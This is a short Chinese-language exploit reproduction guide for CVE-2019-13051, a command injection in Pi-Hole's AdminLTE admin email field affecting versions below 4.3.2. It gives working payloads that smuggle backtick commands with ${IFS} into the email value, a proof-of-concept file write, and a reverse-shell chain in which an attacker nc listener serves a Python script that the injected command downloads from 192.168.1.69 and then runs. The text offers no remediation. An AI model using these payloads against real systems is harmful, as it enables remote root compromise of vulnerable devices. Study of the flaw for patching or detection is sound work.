（CVE-2019-13051）Pi-Hole 远程代码执行漏洞
一、漏洞简介
通过描述的"AdminLTE"组件上的漏洞，可以远程获得RaspberyPi设备（或应用程序正在运行的任何设备/VM）上的根访问权限。要利用此漏洞，需要对AdminLTE web界面的管理访问权限凭据。
二、漏洞影响
Pi-Hole \< 4.3.2
三、复现过程
在管理员邮箱处添加
"`test>/tmp/poc_proof.txt`"@0-sec.org
Pi-Hole远程代码执行漏洞/media/rId24.png)
由于该系统设定原因，需等待十分钟后，即可发现/tmp/poc_proof.txt
已经被创建
Pi-Hole远程代码执行漏洞/media/rId25.jpg)
深入利用
现在攻击机上执行反弹shell命令
nc -nvlp 4444 < revshell.py
在管理邮箱处执行反弹shell代码
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@0-sec.org
Pi-Hole远程代码执行漏洞/media/rId27.png)
我们可以看到http请求如下所示
Pi-Hole远程代码执行漏洞/media/rId28.png)
随后等待十分钟，查看是否执行成功
在确保执行成功后，继续执行nc反弹shell命令
nc -nvlp 4445
最后，再向网站执行反弹shell命令
“`python${IFS}/tmp/revshell.py`”@0-sec.org
等待十分钟后，查看回显结果
Pi-Hole远程代码执行漏洞/media/rId29.jpg)